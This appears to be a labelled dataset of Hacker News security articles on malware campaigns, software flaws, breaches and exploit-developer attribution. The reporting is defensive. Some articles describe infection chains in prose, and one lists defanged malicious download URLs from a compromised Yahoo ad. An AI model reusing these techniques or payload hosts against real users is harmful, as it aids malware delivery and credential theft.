"Masslogger Trojan Upgraded to Steal All Your Outlook, Chrome Credentials",https://thehackernews.com/2021/02/masslogger-trojan-upgraded-to-steal-all.html,"A credential stealer infamous for targeting Windows systems has resurfaced in a new phishing campaign that aims to steal credentials from Microsoft Outlook, Google Chrome, and instant messenger apps.
Primarily directed against users in Turkey, Latvia, and Italy starting mid-January, the attacks involve the use of MassLogger — a .NET-based malware with capabilities to hinder static analysis — building on similar campaigns undertaken by the same actor against users in Bulgaria, Lithuania, Hungary, Estonia, Romania, and Spain in September, October, and November 2020.
MassLogger was first spotted in the wild last April, but the presence of a new variant implies malware authors are constantly retooling their arsenal to evade detection and monetize them.
""Although operations of the Masslogger trojan have been previously documented, we found the new campaign notable for using the compiled HTML file format to start the infection chain,"" researchers with Cisco Talos said on Wednesday.
Compiled HTML (or .CHM) is a proprietary online help format developed by Microsoft that's used to provide topic-based reference information.
The new wave of attacks commences with phishing messages containing ""legitimate-looking"" subject lines that appear to relate to a business.
One of the emails targeted at Turkish users had the subject ""Domestic customer inquiry,"" with the body of the message referencing an attached quote. In September, October and November, the emails took the form of a ""memorandum of understanding,"" urging the recipient to sign the document.
Regardless of the message theme, the attachments adhere to the same format: a RAR multi-volume filename extension (e.g., ""70727_YK90054_Teknik_Cizimler.R09"") in a bid to bypass attempts to block RAR attachments using its default filename extension "".RAR.""
These attachments contain a single compiled HTML file that, when opened, displays the message ""Customer service,"" but in fact comes embedded with obfuscated JavaScript code to create an HTML page, which in turn contains a PowerShell downloader to connect to a legitimate server and fetch the loader ultimately responsible for launching the MassLogger payload.
Aside from exfiltrating the amassed data via SMTP, FTP or HTTP, the latest version of MassLogger (version 3.0.7563.31381) features functionality to pilfer credentials from Pidgin messenger client, Discord, NordVPN, Outlook, Thunderbird, Firefox, QQ Browser, and Chromium-based browsers such as Chrome, Edge, Opera, and Brave.
""Masslogger can be configured as a keylogger, but in this case, the actor has disabled this functionality,"" the researchers noted, adding the threat actor installed a version of Masslogger control panel on the exfiltration server.
With the campaign almost entirely executed and present only in memory with the sole exception of the compiled HTML help file, the significance of conducting regular memory scans cannot be overstated enough.
""Users are advised to configure their systems for logging PowerShell events such as module loading and executed script blocks as they will show executed code in its deobfuscated format,"" the researchers concluded.

",Malware
"Activist Leaks 11,000 Private Messages from WikiLeaks' Twitter Chats",https://thehackernews.com/2018/07/wikileaks-twitter-chats.html,"An activist has just leaked thousands of private messages of an organization that's been known to publishing others' secrets.

More than 11,000 direct messages from a Twitter group used by WikiLeaks and around 10 close supporters have been posted online by journalist and activist Emma Best, exposing private chats between 2015 and 2017.

The leaked chats have been referenced by American media outlets earlier this year, but for the very first time, all 11,000 messages have been published online, allowing anyone to scroll through and read messages themselves.

""The chat is presented nearly in its entirety, with less than a dozen redactions made to protect the privacy and personal information of innocent, third parties. The redactions don't include any information that's relevant to WikiLeaks or their activities,"" Best said.

The leaked DMs of the private Twitter chat group, dubbed ""Wikileaks +10"" by Best, show WikiLeak's strong Republican favoritism, as some portions of the previously leaked chats already showed WikiLeaks' criticism of Hillary Clinton and support for the GOP.

The leaked messages sent by WikiLeaks Twitter account likely believed to be controlled by WikiLeaks founder Julian Assange himself, called Democratic Party candidate Hillary Clinton a ""bright, well-connected, sadistic sociopath"" and said ""it would be much better for the GOP to win,"" in November 2015.

During the 2016 presidential campaign, WikiLeaks made public stolen emails from officials of Democratic National Committee (DNC), including Hillary Clinton's campaign chairman John Podesta, as well as documents on CIA hacking tools.

Best, the freedom of information activist, posted the leaked conversations to her personal blog on Sunday, claiming many of the messages contained offensive material.

""At various points in the chat, there are examples of homophobia, transphobia, ableism, sexism, racism, antisemitism and other objectionable content and language,"" Best said.

""Some of these are couched as jokes, but are still likely to (and should) offend, as a racist or sexist jokes doesn't cease to be racist or sexist because of an expected or desired laugh.""

In some instances, WikiLeaks helped direct lawsuits filed by third-parties and even encouraged criminal investigations against their opponents. In others, the chat showed a ""mundane consistency with WikiLeaks' public stances,"" though a few were ""provocative and confounding.""

Besides Hillary, the leaked DMs also showed that WikiLeaks did not have much love for former U.S. President Barack Obama as well.

""Obama is just a centralizer. He's bad because representationally he does not look or act like that which he represents. Hillary has similar representation confusion, but she will actively lead the machine to a dark place,"" one of the messages sent by WikiLeaks on November 19, 2015, read.

In response to the Best's post, the official Twitter account of WikiLeaks claimed some tampering may have taken place, saying ""the logs appear to have been modified as can be seen by conversational holes (e.g., search for 'Norton') but are useful in other ways.""

WikiLeaks founder Assange remains in the Ecuadorian embassy in London, but last week reports indicated Ecuador's plans to withdraw its political asylum, and eject him from its London embassy—eventually turning him over to the British authorities.
",Data_Breaches
Cloud-AI: Artificially Intelligent System Found 10 Security Bugs in LinkedIn,https://thehackernews.com/2017/01/artificial-Intelligence-cybersecurity.html,"2017 is the year of Artificial Intelligence (A.I.), Big Data, Virtual Reality (VR) and Cyber Security with major companies like Google, Facebook, Apple, IBM and Salesforce and technology pioneers like SpaceX founder Elon Musk investing in these hot technologies.

Since everyone seems to be talking about the hottest trend — artificial intelligence and machine learning — broadly, 62 percent of large enterprises will be using AI technologies by 2018, says a report from Narrative Science.

But why AI is considered to be the next big technology? Because it can enhance and change everything about the way we think, interact, manufacture and deliver.

Last year, we saw a significant number of high-profile hacks targeting big organizations, governments, small enterprises, and individuals — What's more worrisome?

It's going to get worse, and we need help.

No doubt, we, the human, can find vulnerabilities but can not analyze millions of programs with billions of lines of codes at once.

But what if we have an autonomous system that finds and fixes vulnerabilities in computer systems before cyber criminals exploit them, without even any involvement of human?

Cloud-AI System That Interacts With Web Just Like Humans
An Indian startup named Cloudsek, Infosec Risk assessment company, is working in the same direction, which aims at providing intelligence machine learning-based solutions to help organizations identify and tackle online threats in real-time.

The company has developed Cloud-AI technology, an artificial Intelligence system based on a semi-supervised learning model that can navigate and interact with the Internet just like an intelligent human being.

Cloud-AI is designed to learn on its own with an ability to automatically gather information about input boxes, buttons, and navigation links with minimal false positives.
""This is because humans have generated a vast amount of data on how they have interacted with the web,"" Rahul Sasi, Co-Founder and CTO of CloudSek said in its blog post published today.
""We use this data to train our models to achieve our tasks successfully. This method also helps us complete challenging tasks which otherwise is highly time-consuming for the many reinforcement Models.""
Cloud-AI technology powers two of the company's product:
CloudMon – a system that monitors various Internet exposed infrastructures, including Cloud-based Applications and websites, for critical security issues.
x-Vigil – a system that monitors various Internet sources,underground/discussion forums, social media platforms, infiltrated data, along with uncovering a broad range of threats and providing real-time alerts without any manual intervention.
Besides this, the security researchers at Cloudsek are also working to up-skill its Cloud-AI technology with an ability to find new vulnerabilities much more quickly than people behind the keyboard.

Cloud-AI Finds Vulnerabilities Like Artificially Intelligent Hacker

Giving a successful demonstration of their Cloud-AI technology, the researchers discovered 10 ""Insecure Direct Object Reference"" vulnerabilities in the world's largest online professional network LinkedIn.

An Insecure direct object reference flaw occurs when any application frequently uses the actual name or key of an object while generating web pages, but doesn't always verify if the user is authorized for the target object.

The issues fixed in LinkedIn include:
Leak of any user's Email ID on LinkedIn
Leak of users email and phone number and resume
Deleting every user's LinkedIn request
Downloading every transcript to videos from Lynda
Downloading every Lynda exercise files without a premium membership
To detect such flaws, all an attacker needs to do is manipulate parameter values. But finding such an easily identifiable security flaw is impossible for an automated tool due to the difficulty in reaching the flawed endpoint, whereas manually doing the process is time-consuming.
""Cloud-AI system had to fill multiple forms and follow valid patterns to reach the vulnerable endpoints. These endpoints often get missed by existing automated tools as well as manual analysis,"" CloudSek explains.
Artificial Intelligence is good at breaking CAPTCHA codes, but I'm wondering, and even believe that this system might soon gain the ability to beat Google's latest reCAPTCHA system, which is also powered by a sophisticated artificial intelligence system to defend websites against bots.
How AI Technology Shaping the Future of CyberSecurity
Cyber security is among the biggest threats in today's world, and it is a known fact that there are not enough skilled cyber security professionals to tackle growing Internet threats.

The Internet has already been struggling to defend against organized crime, state-sponsored hackers, surveillance and, of course, terrorism – but experts believe AI technology can aid us in protecting sensitive data and critical infrastructure from attackers.

Either its Cloud-AI from CloudSec or OpenAI, backed by Tesla and Space X CEO Elon Musk, every player in this domain wants to build a technology that would eventually create digital intelligence in the way to benefit humanity as a whole.
""In near future, Cloud-AI would be upgraded to assist users while ordering anything on the Internet, as well can perform complex tasks to save precious time."" Sasi told The Hacker News
Moreover, with the rise of the Internet of Things (IoT) devices, the cyber-security threats have grown exponentially, so extensive research into prevention and detection schemes of these technologies is strongly being considered globally.

Since AI is a fundamental part of the concept of the Internet of Things, where machines and devices communicate with each other to get the work done, it's only AI and machine learning that will be incredibly useful to defend our network before anyone exploits them.

Last year, Security researchers at MIT also developed a new Artificial Intelligence-based cyber security platform, called 'AI2,' which has the ability to predict, detect, and stop 85% of Cyber Attacks with high accuracy.

Isn't it revolutionary idea for Internet Security?

At the same time, we should not forget that smarter technologies do not come without risks. While AI could provide organizations with a valuable weapon in their arsenal, the risk is that the technology would not fall into wrong hands.

",Vulnerability
Importance of Logs and Log Management for IT Security,https://thehackernews.com/2013/10/importance-of-logs-and-log-management.html,"IT Security is the name of the game and no matter how big or small the size of your organization, you will always invest enough on securing certain aspects of your IT network. In many organizations, it starts with monitoring your network for vulnerabilities that may enter the network to access potentially sensitive information in the form of security attacks.

For example, you may have firewalls as your first line of defense, followed by vulnerability management, intrusion detection and prevention systems, managing your network configurations and so on.
These are crucial because:
Your routers can be easily breached without proper configuration and restrictions.
If a firewall isn't configured correctly, a hacker can easily spot a port that is accidentally left open and can gain access to the network.
Rogue access points, botnet malware and social engineering can make your wireless a porthole into your LAN.
Why Logs?
The very purpose of IT security is to be proactive and the above measures make it more difficult for someone who attempts to compromise the network. This might just not be enough and you need to able to detect the actual breaches as they are being attempted. This is where log data really help.

To expose an attack or identify the damage caused, you need to analyze the log events on your network in real-time. By collecting and analyzing logs, you can understand what transpires within your network. Each log file contains many pieces of information that can be invaluable, especially if you know how to read them and analyze them. With proper analysis of this actionable data you can identify intrusion attempts, mis-configured equipment, and many more. Also for managing compliance, especially for PCI DSS – you need to retain logs and review them.

Monitoring and Analyzing Event Logs
When you know what is normal on your network, you can easily spot what is abnormal by monitoring the logon activity. It is very critical to analyze the event to understand the root cause and to make log analysis & log management more efficient, you need to collect and consolidate log data across the IT environment, and correlate events from multiple devices in real-time.
Apart from monitoring the activities across your web server, firewalls and other network devices, it becomes very crucial to monitor your workstation logs. For example, a workstation log can give you some key information like when a USB was connected, by whom and whether he belongs to the group that is authorized, etc. Log file analysis is best done with an SIEM software, when it comes to reading all of the events and being able to analyze and correlate activity across the various components of IT.

How SolarWinds Log & Event Manager can help you?
SolarWinds Log & Event Manager (LEM) completely monitor event logs across and acts as a central collection point for system log data, automatically aggregates and normalizes this data into a consistent format. LEM also performs multiple event correlation and has the distinct ability to set independent activity thresholds per event or per group to understand relationships between dramatically different activities. With its proactive approach, it helps you identify and respond to threats in real time.

Key areas where SolarWinds LEM helps you:
Monitoring Security Events: Event correlation allows you to effectively troubleshoot issues by understanding the relationship between various activities using multiple event correlations and alerts you as and when it encounters a security threat.
Threat Remediation: Active responses help you in responding timely to policy violations and troubleshooting issues. Some key active responses include:
Delete User Account and User Group
Block IP address
Log Off User
Restart/Shutdown Machine
Disable USB devices
Event forensics help you identify suspicious behavior patterns on your network.

",Malware
Microsoft Warns of Data Stealing Malware That Pretends to Be Ransomware,https://thehackernews.com/2021/05/microsoft-warns-of-data-stealing.html,"Microsoft on Thursday warned of a ""massive email campaign"" that's pushing a Java-based STRRAT malware to steal confidential data from infected systems while disguising itself as a ransomware infection.
""This RAT is infamous for its ransomware-like behavior of appending the file name extension .crimson to files without actually encrypting them,"" the Microsoft Security Intelligence team said in a series of tweets.
The new wave of attacks, which the company spotted last week, commences with spam emails sent from compromised email accounts with ""Outgoing Payments"" in the subject line, luring the recipients into opening malicious PDF documents that claim to be remittances, but in reality, connect to a rogue domain to download the STRRAT malware.
Besides establishing connections to a command-and-control server during execution, the malware comes with a range of features that allow it to collect browser passwords, log keystrokes, and run remote commands and PowerShell scripts.
STRRAT first emerged in the threat landscape in June 2020, with German cybersecurity firm G Data observing the Windows malware (version 1.2) in phishing emails containing malicious Jar (or Java Archive) attachments.
""The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging,"" G Data malware analyst Karsten Hahn detailed. ""It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, Thunderbird.""
Its ransomware capabilities are at best rudimentary in that the ""encryption"" stage only renames files by suffixing the "".crimson"" extension. ""If the extension is removed, the files can be opened as usual,"" Kahn added.
Microsoft also notes that version 1.5 is more obfuscated and modular than previous versions, suggesting that the attackers behind the operation are actively working to improvise their toolset. But the fact that the bogus encryption behavior remains unchanged signals that the group may be aiming to make quick money off unsuspecting users by means of extortion.
The indicators of compromise (IoCs) associated with the campaign can be accessed via GitHub here.

",Cyber_Attack
ex-NSA Hacker Discloses macOS High Sierra Zero-Day Vulnerability,https://thehackernews.com/2018/08/macos-mouse-click-hack.html,"Your Mac computer running the Apple's latest High Sierra operating system can be hacked by tweaking just two lines of code, a researcher demonstrated at the Def Con security conference on Sunday.

Patrick Wardle, an ex-NSA hacker and now Chief Research Officer of Digita Security, uncovered a critical zero-day vulnerability in the macOS operating system that could allow a malicious application installed in the targeted system to virtually ""click"" objects without any user interaction or consent.

To know, how dangerous it can go, Wardle explains: ""Via a single click, countless security mechanisms may be completely bypassed. Run untrusted app? Click...allowed. Authorize keychain access? Click...allowed. Load 3rd-party kernel extension? Click...allowed. Authorize outgoing network connection? click ...allowed.""

Wardle described his research into ""synthetic"" interactions with a user interface (UI) as ""The Mouse is Mightier than the Sword,"" showcasing an attack that's capable of 'synthetic clicks'—programmatic and invisible mouse clicks that are generated by a software program rather than a human.

macOS code itself offers synthetic clicks as an accessibility feature for disabled people to interact with the system interface in non-traditional ways, but Apple has put some limitations to block malware from abusing these programmed clicks.

Wardle accidentally discovered that High Sierra incorrectly interprets two consecutive synthetic mouse ""down"" event as a legitimate click, allowing attackers to programmatically interact with security warnings as well that asks users to choose between ""allow"" or ""deny"" and access sensitive data or features.
""The user interface is that single point of failure,"" says Wardle. ""If you have a way to synthetically interact with these alerts, you have a very powerful and generic way to bypass all these security mechanisms.""
Although Wardle has not yet published technical details of the flaw, he says the vulnerability can potentially be exploited to dump all passwords from the keychain or load malicious kernel extensions by virtually clicking ""allow"" on the security prompt and gain full control of a target machine.

Wardle said that he found this loophole accidentally when copying and pasting the code and that just two lines of code are enough to completely break this security mechanism.

Unlike earlier findings, Wardle didn't report Apple about his latest research and choose to publicly reveal details of the zero-day bug at DefCon hacker conference.
""Of course OS vendors such as Apple are keenly aware of this 'attack' vector, and thus strive to design their UI in a manner that is resistant against synthetic events. Unfortunately, they failed,"" says Wardle.
However, the Apple's next version of macOS, Mojave, already has mitigated the threat by blocking all synthetic events, which eventually reduces the scope of accessibility features on applications that legitimately use this feature.

",Vulnerability
Hackers Posed as Aerobics Instructors for Years to Target Aerospace Employees,https://thehackernews.com/2021/07/hackers-posed-as-aerobics-instructors.html,"An Iranian cyberespionage group masqueraded as an aerobics instructor on Facebook in an attempt to infect the machine of an employee of an aerospace defense contractor with malware as part of a years-long social engineering and targeted malware campaign.
Enterprise security firm Proofpoint attributed the covert operation to a state-aligned threat actor it tracks as TA456, and by the wider cybersecurity community under the monikers Tortoiseshell and Imperial Kitten.
""Using the social media persona 'Marcella Flores,' TA456 built a relationship across corporate and personal communication platforms with an employee of a small subsidiary of an aerospace defense contractor,"" Proofpoint said in a report shared with The Hacker News. ""In early June 2021, the threat actor attempted to capitalize on this relationship by sending the target malware via an ongoing email communication chain.""
Earlier this month, Facebook revealed it took steps to dismantle a ""sophisticated"" cyber-espionage campaign undertaken by Tortoiseshell hackers targeting about 200 military personnel and companies in the defense and aerospace sectors in the U.S., U.K., and Europe using an extensive network of fake online personas on its platform. The threat actor is believed to be loosely aligned with the Islamic Revolutionary Guard Corps (IRGC) via its association with the Iranian IT company Mahak Rayan Afraz (MRA).
Now according to Proofpoint, one such elaborate fake persona created by the TA456 threat actor involved in back-and-forth exchanges with the unnamed aerospace employee dating as far back as 2019, before culminating the delivery of a malware called LEMPO that's engineered to designed to establish persistence, perform reconnaissance, and exfiltrate sensitive information. The infection chain was triggered via an email message containing a OneDrive URL that claimed to be a diet survey — a macro-embedded Excel document — only to stealthily retrieve the reconnaissance tool by connecting to an attacker-controlled domain.
Facebook has since suspended the Flores account from its platform in a coordinated takedown of users linked to Iranian hacker activity.
""TA456 demonstrated a significant operational investment by cultivating a relationship with a target's employee over years in order to deploy LEMPO to conduct reconnaissance into a highly secured target environment within the defense industrial base,"" Proofpoint researchers said. ""This campaign exemplifies the persistent nature of certain state aligned threats and the human engagement they are willing to conduct in support of espionage operations.""

",Cyber_Attack
Tor Vulnerable to Remote arbitrary code Execution,https://thehackernews.com/2012/01/tor-vulnerable-to-remote-arbitrary-code.html,"Tor Vulnerable to Remote arbitrary code Execution


According to latest post of Gentoo Linux Security Advisory, There are multiple vulnerabilities have been found in TOR, the most severe ofwhich may allow a remote attacker to execute arbitrary code. TOR is an implementation of second generation Onion Routing, a connection-oriented anonymizing communication service.

Using this Vulnerability remote attacker could possibly execute arbitrary code or cause a Denial of Service. Furthermore, a remote relay the user is directly connected to may be able to disclose anonymous information about that user or enumerate bridges in the user's connection.

Advisory explain that , Affected Vulnerable packages are < 0.2.2.35 . Multiple vulnerabilities have been discovered in Tor are listed below:

* When configured as client or bridge, Tor uses the same TLS certificate chain for all outgoing connections (CVE-2011-2768).
* When configured as a bridge, Tor relays can distinguish incoming bridge connections from client connections (CVE-2011-2769).
* An error in or/buffers.c could result in a heap-based buffer overflow (CVE-2011-2778).

All Tor users should upgrade to the latest version.

",Vulnerability
Two Critical Zero-Day Flaws Disclosed in Foxit PDF Reader,https://thehackernews.com/2017/08/two-critical-zero-day-flaws-disclosed.html,"Are you using Foxit PDF Reader? If yes, then you need to watch your back.

Security researchers have discovered two critical zero-day security vulnerabilities in Foxit Reader software that could allow attackers to execute arbitrary code on a targeted computer, if not configured to open files in the Safe Reading Mode.

The first vulnerability (CVE-2017-10951) is a command injection bug discovered by researcher Ariele Caltabiano working with Trend Micro's Zero Day Initiative (ZDI), while the second bug (CVE-2017-10952) is a file write issue found by Offensive Security researcher Steven Seeley.

An attacker can exploit these bugs by sending a specially crafted PDF file to a Foxit user and enticing them to open it.

Foxit refused to patch both the vulnerabilities because they would not work with the ""safe reading mode"" feature that fortunately comes enabled by default in Foxit Reader.
""Foxit Reader & PhantomPDF has a Safe Reading Mode which is enabled by default to control the running of JavaScript, which can effectively guard against potential vulnerabilities from unauthorized JavaScript actions,"" the company says.
However, researchers believe building a mitigation doesn't patch the vulnerabilities completely, which if remained unpatched, could be exploited if attackers find a way to bypass safe reading mode in the near future.

Both unpatched vulnerabilities can be triggered through the JavaScript API in Foxit Reader.

CVE-2017-10951: The command injection bug resides in an app.launchURL function that executes strings provided by attackers on the targeted system due to lack of proper validation, as demonstrated in the video given below.

CVE-2017-10952: This vulnerability exists within the ""saveAs"" JavaScript function that allows attackers to write an arbitrary file on a targeted system at any specific location, as demonstrated in the video given below.
""Steven exploited this vulnerability by embedding an HTA file in the document, then calling saveAS to write it to the startup folder, thus executing arbitrary VBScript code on startup,"" reads the advisory published by the ZDI.
If you are one of those using Foxit Reader and PhantomPDF, ensure you have the ""Safe Reading Mode"" feature enabled. Additionally, you can also uncheck the ""Enable JavaScript Actions"" from Foxit's Preferences menu, although this may break some functionality.

Users are also recommended always to be vigilant while opening any files they received via email. Just recently, we reported how opening a malicious PowerPoint file could compromise your computer with malware.

So, always beware of phishing emails, spams, and clicking the malicious attachment.

Update: Foxit Response
Foxit spokesperson has provided the following statement to The Hacker News via an Email:

""Foxit Software is deeply committed to delivering secure PDF products to its customers. Our track record is strong in responding quickly in fixing vulnerabilities. We are currently working to rapidly address the two vulnerabilities reported on the Zero Day Initiative blog and will quickly deliver software improvements. In the meantime, users can help protect themselves by using the Safe Reading Mode.""
""We apologize for our initial miscommunication when contacted about these vulnerabilities and are making changes to our procedures to mitigate the probability of it occurring again.""

",Vulnerability
Researchers Uncover Stealthy Linux Malware That Went Undetected for 3 Years,https://thehackernews.com/2021/04/researchers-uncover-stealthy-linux.html,"A previously undocumented Linux malware with backdoor capabilities has managed to stay under the radar for about three years, allowing the threat actor behind the operation to harvest and exfiltrate sensitive information from infected systems.
Dubbed ""RotaJakiro"" by researchers from Qihoo 360 NETLAB, the backdoor targets Linux X64 machines, and is so named after the fact that ""the family uses rotate encryption and behaves differently for root/non-root accounts when executing.""
The findings come from an analysis of a malware sample it detected on March 25, although early versions appear to have been uploaded to VirusTotal as early as May 2018. A total of four samples have been found to date on the database, all of which remain undetected by most anti-malware engines. As of writing, only seven security vendors flag the latest version of the malware as malicious.
""At the functional level, RotaJakiro first determines whether the user is root or non-root at run time, with different execution policies for different accounts, then decrypts the relevant sensitive resources using AES& ROTATE for subsequent persistence, process guarding and single instance use, and finally establishes communication with C2 and waits for the execution of commands issued by C2,"" the researchers explained.
RotaJakiro is designed with stealth in mind, relying on a mix of cryptographic algorithms to encrypt its communications with a command-and-control (C2) server, in addition to having support for 12 functions that take care of gathering device metadata, stealing sensitive information, carrying out file related operations, and downloading and executing plug-ins pulled from the C2 server.
But with no evidence to shed light on the nature of plugins, the true intent behind the malware campaign remains unclear. Interestingly, some of the C2 domains were registered dating all the way back to December 2015, with the researchers also observing overlaps between RotaJakiro and a botnet named Torii.
""From the perspective of reverse engineering, RotaJakiro and Torii share similar styles: the use of encryption algorithms to hide sensitive resources, the implementation of a rather old-school style of persistence, structured network traffic, etc.,"" the researchers said. ""We don't exactly know the answer, but it seems that RotaJakiro and Torii have some connections.""

",Malware
Yahoo! PH Purple Hunt 2.0 Ad Compromised !,https://thehackernews.com/2011/04/yahoo-ph-purple-hunt-20-ad-compromised.html,"Yahoo! PH Purple Hunt 2.0 Ad Compromised !

Earlier the other day, I was browsing through the Yahoo! PH site and the Yahoo! Purple Hunt 2.0 ad caught my attention.

Curious as I am, I clicked on the ad and surprisingly my browser downloaded a suspicious file named com.com.

Apparently this ad redirected me to a randomly generated URL similar to the following which, unfortunately, led to the malicious download:

hxxp://want6.{BLOCKED}.com/se/3da19bea8f9c03e96c9b1acad9cce5a88a2244f0a34d69
c09b8d3198b2797726789be0228c0df3c762ed088a2327b07f4a183fa6fa753b0acfd7f0afc2d2b
13b801ba978269fcda413f53e/960b0a2a/com.com
hxxp://nose8.{BLOCKED}.com/se/3da19bea8f9c03e96c9b1acad9cce5a88a2244f0a34d69c
09b8d3198b2797726789be0228c0df3c762ed088a2327b07f4a183fa6fa753b0acfd7f0afc2d2b
13b801ba978269fcda413f53e/960b0a2a/com.com
hxxp://letter6.{BLOCKED}.com/se/3da19bea8f9c03e96c9b1acad9cce5a88a2244f0a34d69c0
9b8d3198b2797726789be0228c0f3c762ed088a2327b07f4a183fa6fa753b0acfd7f0afc2d2b13
b801ba978269fcda413f53e/785c08d8/com.com

Below is a screenshot of the file download dialog box:

The downloaded file is detected by Trend Micro as TSPY_PIRMINAY.A. Let's see how the download took place.

Firstly, the download only happens once per browser, which means that the malvertisement may have used an IP and user agent filtering of some sort to prevent multiple downloads which would make it suspicious to the end user.

To be able to replicate the malware download from the compromised ad, we used a browser extension which spoofs browser user agents, instead of installing different browsers.

It appears that the advertisement is first redirected to the malware download before it finally brings the browser to the real advertisement page. The redirection follows this format for the download link:

https://{varying string}{random number}.{varying domain}/se/{constant string or guid}/com.com

We'd like to thank the guys over at Yahoo! Ad Security Ops for acting swiftly on our initial report, taking down the malvertisement so it could no longer harm unsuspecting users.

Source

",Malware
Tumblr Patches A Flaw That Could Have Exposed Users' Account Info,https://thehackernews.com/2018/10/tumblr-account-hacking.html,"Tumblr today published a report admitting the presence of a security vulnerability in its website that could have allowed hackers to steal login credentials and other private information for users' accounts.

The affected information included users email addresses, protected (hashed and salted) account passwords, self-reported location (a feature no longer available), previously used email addresses, last login IP addresses, and names of the blog associated with every account.

According to the company, a security researcher discovered a critical vulnerability in the desktop version of its website and responsibly reported it to the Tumblr security team via its bug bounty program.

Though the company has not revealed the researcher's name or any technical details about the vulnerability, Tumblr has disclosed that the flaw resided in the ""Recommended Blogs"" feature of its website.

Recommended Blogs has been designed to display a short, rotating list of blogs of other users that may be of interest. The feature appears only for logged-in users.

Tumblr also says:
""If a blog appeared in the module, it was possible, using debugging software in a certain way, to view certain account information associated with the blog.""
In short, your account could only be affected if it was recommended to some an attacker via the vulnerable feature.

The company fails to determine which specific accounts were recommended via the vulnerable feature, thus is unable to disclose the number of affected users, but it concludes that ""the bug was rarely present.""

Tumblr also assured that its internal investigation found no evidence of the bug being abused by an attacker.
""It's our mission to provide a safe space for people to express themselves freely and form communities around things they love,"" Tumblr says. ""We feel that this bug could have affected that experience. We want to be transparent with you about it. In our view, it's simply the right thing to do.""
Tumblr disclosure comes less than a week after Facebook announced its worst-ever security breach that allowed attackers to steal personal information, including secret access tokens, for 30 million users.

Also, over a week ago Google announced the shut down of its social media network Google+ following a massive data breach that exposed the private data of hundreds of thousands of Google Plus users to third-party developers.

Late last month, Twitter also revealed a similar security breach incident in which an API flaw inadvertently exposed direct messages (DMs) and protected tweets of more than 3 million people to unauthorized third-party app developers.

",Cyber_Attack
Finland's Ministry of Foreign Affairs networks hit by sophisticated Malware attack,https://thehackernews.com/2013/11/Finland-Ministry-Foreign-Affairs-malware-espionage-red-october.html,"Finnish commercial broadcaster MTV3 reports that the Finnish Ministry of Foreign Affair networks has been targeted in a four-year-long cyber espionage operation.

Finland's foreign minister said, ""I can confirm there has been a severe and large hacking in the ministry's data network,""

A large scale spying attack targeted the communications between Finland and the European Union using a malware, similar to, and more sophisticated than Red October. The breach was uncovered during the early part of this year.
MTV3 also mentioned that the breach was not discovered by the Finns themselves, but from a foreign tip-off reported to CERT.FI. Further the Finnish authorities kept the information under wraps for continuing the forensics.

There are indications that information with the lowest level security classification has been compromised, he said.

In January, 2013, we had reported about Red October Cyber-espionage operation that targeted the computer networks of various international diplomatic service agencies. According security experts from Kaspersky Lab, the cyber-espionage campaign was started since 2007 and is still active.

It is possible that Red October has been just one campaign from the same actor, and there could be others that haven't been discovered yet.

According to experts, Red October's exploits appear to have Chinese origins, whereas the malware modules may have a Russian background. So if this Finnish malware attack somewhere linked to Red October, then Russia and China are suspected of responsibility for the snooping.

Red October malware was sent via a spear-phishing email and has been tempting its targets into letting it exploit a number of relatively minor security vulnerabilities in programs such as Microsoft's Excel and Word, as well as poisoned PDFs and Java exploits.

Besides Finland, other countries could be the victim of the same attack. The Finnish Security Intelligence Service is investigating the matter.

",Cyber_Attack
Kathmandu Metropolitan City website database hacked by T34mT!g3R,https://thehackernews.com/2011/08/kathmandu-metropolitan-city-website.html,"Kathmandu Metropolitan City website database hacked by T34mT!g3R
Hackers of Team ""T34mT!g3R"" today expose the SQL injection Vulnerability in Kathmandu Metropolitan City website and extract the database of site. Hacker post the Database info and Vulnerable Link at pastebin.

",Vulnerability
Researchers Fingerprint Exploit Developers Who Help Several Malware Authors,https://thehackernews.com/2020/10/exploit-development.html,"Writing advanced malware for a threat actor requires different groups of people with diverse technical expertise to put them all together. But can the code leave enough clues to reveal the person behind it?
To this effect, cybersecurity researchers on Friday detailed a new methodology to identify exploit authors that use their unique characteristics as a fingerprint to track down other exploits developed by them.
By deploying this technique, the researchers were able to link 16 Windows local privilege escalation (LPE) exploits to two zero-day sellers ""Volodya"" (previously called ""BuggiCorp"") and ""PlayBit"" (or ""luxor2008"").
""Instead of focusing on an entire malware and hunting for new samples of the malware family or actor, we wanted to offer another perspective and decided to concentrate on these few functions that were written by an exploit developer,"" Check Point Research's Itay Cohen and Eyal Itkin noted.
Fingerprinting an Exploit Writer's Characteristics
The idea, in a nutshell, is to fingerprint an exploit for specific artifacts that can uniquely tie it to a developer. It could be in using hard-coded values, string names, or even how the code is organized and certain functions are implemented.
Check Point said their analysis began in response to a ""complicated attack"" against one of its customers when they encountered a 64-bit malware executable that exploited CVE-2019-0859 to gain elevated privileges.
Noticing the fact that the exploit and the malware were written by two different sets of people, the researchers used the binary's properties as a unique hunting signature to find at least 11 other exploits developed by the same developer named ""Volodya"" (or ""Volodimir"").
""Finding a vulnerability, and reliably exploiting it, will most probably be done by specific teams or individuals who specialize in a particular role. The malware developers for their part don't really care how it works behind the scenes, they just want to integrate this [exploits] module and be done with it,"" the researchers said.
Interestingly, Volodya — likely of Ukrainian origin — has been previously linked to selling Windows zero-days to cyberespionage groups and crimeware gangs for anywhere between $85,000 to $200,000.
Chief among them was an LPE exploit that leveraged a memory corruption in ""NtUserSetWindowLongPtr"" (CVE-2016-7255), which has been widely used by ransomware operators like GandCrab, Cerber, and Magniber. It's now believed that Volodya advertised this LPE zero-day on the Exploit.in cybercrime forum in May 2016.
In all, five zero-day and six one-day exploits were identified as developed by Volodya over a period of 2015-2019. Subsequently, the same technique was employed to identify five more LPE exploits from another exploit writer known as PlayBit.
An Extensive Clientele
Stating the exploit samples shared code level similarities to grant SYSTEM privileges to the desired process, the researchers said, ""both of our actors were very consistent in their respective exploitation routines, each sticking to their favorite way.""
What's more, Volodya also appears to have switched up his tactics during the intervening years, with the developer shifting from selling the exploits as embeddable source code in the malware to an external utility that accepts a specific API.
Besides ransomware groups, Volodya has been found to cater to an extensive clientele, including the Ursnif banking trojan, and APT groups such as Turla, APT28, and Buhtrap.
""The APT customers, Turla, APT28, and Buhtrap, are all commonly attributed to Russia and it is interesting to find that even these advanced groups purchase exploits instead of developing them in-house,"" Check Point observed in its analysis. ""This is another point which further strengthens our hypothesis that the written exploits can be treated as a separate and distinct part of the malware.""
With cyberattacks expanding in scope, frequency, and magnitude, using an exploit developer's code signature as a means to track down bad actors could provide valuable insight into the black exploit market.
